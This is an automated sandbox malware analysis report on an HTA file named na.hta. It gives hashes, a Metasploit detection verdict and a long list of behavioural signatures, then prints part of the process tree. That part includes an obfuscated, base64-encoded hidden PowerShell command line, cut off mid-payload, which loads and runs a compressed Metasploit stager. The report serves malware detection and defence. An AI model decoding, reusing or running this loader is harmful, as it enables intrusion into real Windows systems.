Edit tour
Windows
Analysis Report
na.hta
Overview
General Information
| Sample name: | na.hta |
| Analysis ID: | 1534778 |
| MD5: | 80d63e57cf21fda8b8c90e474eb46a4a |
| SHA1: | ca838f1b1972ceefbeda106c0f201a87d3d8a5c9 |
| SHA256: | 23d30acfa7336b1bcd1a62a2225f1ad2c2f82f683cf70041874bb9ecfad9dfec |
| Tags: | htauser-abuse_ch |
| Infos: |   |
 | |
Detection
Metasploit
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Metasploit Payload
Yara detected MetasploitPayload
AI detected suspicious sample
Encrypted powershell cmdline option found
Found suspicious powershell code related to unpacking or dynamic code loading
Obfuscated command line found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Malicious Base64 Encoded PowerShell Keywords in Command Lines
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Suspicious powershell command line found
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Sigma detected: Gzip Archive Decode Via PowerShell
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: Suspicious FromBase64String Usage On Gzip Archive - Process Creation
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
mshta.exe (PID: 6304 cmdline: mshta.exe "C:\Users\ user\Deskt op\na.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505) 
powershell.exe (PID: 4828 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -nop -w hi dden -e aQ BmACgAWwBJ AG4AdABQAH QAcgBdADoA OgBTAGkAeg BlACAALQBl AHEAIAA0AC kAewAkAGIA PQAnAHAAbw B3AGUAcgBz AGgAZQBsAG wALgBlAHgA ZQAnAH0AZQ BsAHMAZQB7 ACQAYgA9AC QAZQBuAHYA OgB3AGkAbg BkAGkAcgAr ACcAXABzAH kAcwB3AG8A dwA2ADQAXA BXAGkAbgBk AG8AdwBzAF AAbwB3AGUA cgBTAGgAZQ BsAGwAXAB2 ADEALgAwAF wAcABvAHcA ZQByAHMAaA BlAGwAbAAu AGUAeABlAC cAfQA7ACQA cwA9AE4AZQ B3AC0ATwBi AGoAZQBjAH QAIABTAHkA cwB0AGUAbQ AuAEQAaQBh AGcAbgBvAH MAdABpAGMA cwAuAFAAcg BvAGMAZQBz AHMAUwB0AG EAcgB0AEkA bgBmAG8AOw AkAHMALgBG AGkAbABlAE 4AYQBtAGUA PQAkAGIAOw AkAHMALgBB AHIAZwB1AG 0AZQBuAHQA cwA9ACcALQ BuAG8AcAAg AC0AdwAgAG gAaQBkAGQA ZQBuACAALQ BjACAAJgAo AFsAcwBjAH IAaQBwAHQA YgBsAG8AYw BrAF0AOgA6 AGMAcgBlAG EAdABlACgA KABOAGUAdw AtAE8AYgBq AGUAYwB0AC AAUwB5AHMA dABlAG0ALg BJAE8ALgBT AHQAcgBlAG EAbQBSAGUA YQBkAGUAcg AoAE4AZQB3 AC0ATwBiAG oAZQBjAHQA IABTAHkAcw B0AGUAbQAu AEkATwAuAE MAbwBtAHAA cgBlAHMAcw BpAG8AbgAu AEcAegBpAH AAUwB0AHIA ZQBhAG0AKA AoAE4AZQB3 AC0ATwBiAG oAZQBjAHQA IABTAHkAcw B0AGUAbQAu AEkATwAuAE 0AZQBtAG8A cgB5AFMAdA ByAGUAYQBt ACgALABbAF MAeQBzAHQA ZQBtAC4AQw BvAG4AdgBl AHIAdABdAD oAOgBGAHIA bwBtAEIAYQ BzAGUANgA0 AFMAdAByAG kAbgBnACgA KAAoACcAJw BIADQAcwBJ AEEATQBKAH UAWABHAFkA QwBBADcAVg BXACsAMAAv AGIAUwBCAE QAKwAvAGEA VAArAEQAMQ BZAFYAeQBi AFkAYQBZAH UAZABSAEsA RQBpAFYAYg B1ADIAUQBC ACsAQwBRAF kASgBLAFEA cABOAEYAcA BhADIALwBz AEoAVwB0AH YAcwBEAGUA RQAwAE8Adg AvAGYAcgBP AE8AegBlAE 8AQQBpAGoA dQBwAGwAZw BMADcAbQBK AG0AZAAvAG UAYQBiAG0A VgAyAHMAWQ AwADkAUQBI AGkAdgB4AG MAcQBEADgA KwBQAEMASA BrAG4AOQA5 AG4ATwBCAE kAMABVAHEA KwBXAFYAWg BLAHkAYQBY ACsAdQBGAE 4AYQBWAEoA VwB2AGkAag BaAEQAcQAx AFcAVABSAD UAagBHADgA NgBNAGoAZQ A1ADAAawBK AEIAYQA3AG UAYQBWAE4A QgBFAHAAVA BFAG4AMQBu AGwASwAnAC cAKwAnACcA UwBhAHIAdg B5AHQAagBF AE8AUwBrAE wAewAxAH0A egA3ADkAZg BFAEUAOABv AFAAcABmAF IAWABwAGMA ewAxACcAJw ArACcAJwB9 ADQAZAA4AH gAeQBzAGEA MgBOAHYAWg BBAG8AZQB5 AGoAMgA1AG QANABaADkA NwBEADAAcQ BlAEsAdQBH AEIAVwBhAC sAdQAyAGIA cQBzAC8AMg BxAHYAUABL ADgAYwAwAG EAcwAxAFIA VAB7ADEAfQ BXADAAcQBT AEYAVAB4AE cAVgBOADEA NQBhAGMAdQ BEADcAegBj AHIAbwBpAG 0ATwB0AFIA TABlAE0Abw BYAG8AagBL AG0AYwBiAD EAVwBHAGMA WQBwAFgAcA BBAGUAVwBM AHMAbABEAH sAMgB9AEUA ewAyAH0AOQ AxAE0AVgBy AHYASgA0AG 0AWQBTAEkA ZABSAEwATA BPADAAawBq AE8AeABGAE 4AewAyAH0A VwBFAC8ANA AnACcAKwAn ACcAUgA3AH kALwBZAFMA awBxAFYAcA BXAFoAdABM ADgAYgBEAD cALwBVADUA dgBsAFoAMQ ArAHMAWQAw AEUAagBVAH UAbgBHAGcA aQBSADgANQ BaAEwAawBs AG4AbwBrAH IAWABSAHcA NwBEAE4AeQ BRAFIAWgB6 ADAASABKAE YAUQB1AE4A ZwByAHUAcw BnAGQAcwB1 AFgAUgBDAH YARgBhADgA YgBLAHkAbg A4AHgAbwAv AFgASQBwAG sARAB1AHYA VQByAGEAVQ B5AFcAUQA2 AG8AdABFAE wAMABNAHcA WAAnACcAKw AnACcAOQB6 AFMAJwAnAC